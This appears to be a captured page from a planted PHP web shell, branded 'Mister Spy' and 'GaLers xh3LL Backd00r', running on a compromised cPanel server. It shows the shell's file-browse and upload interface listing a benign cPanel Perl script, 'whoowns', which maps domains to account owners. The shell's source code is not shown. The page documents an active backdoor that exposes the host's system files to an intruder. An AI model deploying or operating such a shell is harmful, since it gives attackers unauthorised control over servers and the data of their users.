Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /proc/self/root/scripts/
Upload File :
Current File : //proc/self/root/scripts/whoowns

#!/usr/local/cpanel/3rdparty/bin/perl
package scripts::whoowns;

use strict;

use Getopt::Long ();
use IO::Handle   ();

our $USERDOMAINS = '/etc/userdomains';

exit script( \*STDOUT, @ARGV ) unless caller;

sub script {
    my ( $fh, @args ) = @_;

    my $help;
    Getopt::Long::GetOptionsFromArray(
        \@args,
        'help' => \$help
    ) or return usage(2);
    return usage(0) if $help;
    return usage(2) unless @args;

    my $found;
    my $domain = $args[0] =~ s{^https?://([^/]+)/?.*$}{$1}r;
    if ( open( my $ud, '<', $USERDOMAINS ) ) {
        while (<$ud>) {
            if (/^\Q$domain\E: (\S+)/i) {
                $fh->print("$1\n");
                $found = 1;
            }
        }
        close($ud);
    }
    return $found ? 0 : 1;
}

sub usage {
    my ($retval) = @_;
    my $fh = $retval ? \*STDERR : \*STDOUT;
    $fh->print(<<EOM);
whoowns DOMAIN-OR-URL

Prints the user that owns the given domain, if any.  If a URL is given instead,
looks for the user owning the domain specified in the URL.  Only HTTP and HTTPS
URLs are accepted.

Exits 0 if the user is found, 1 if not, and 2 on error.
EOM
    return $retval;
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat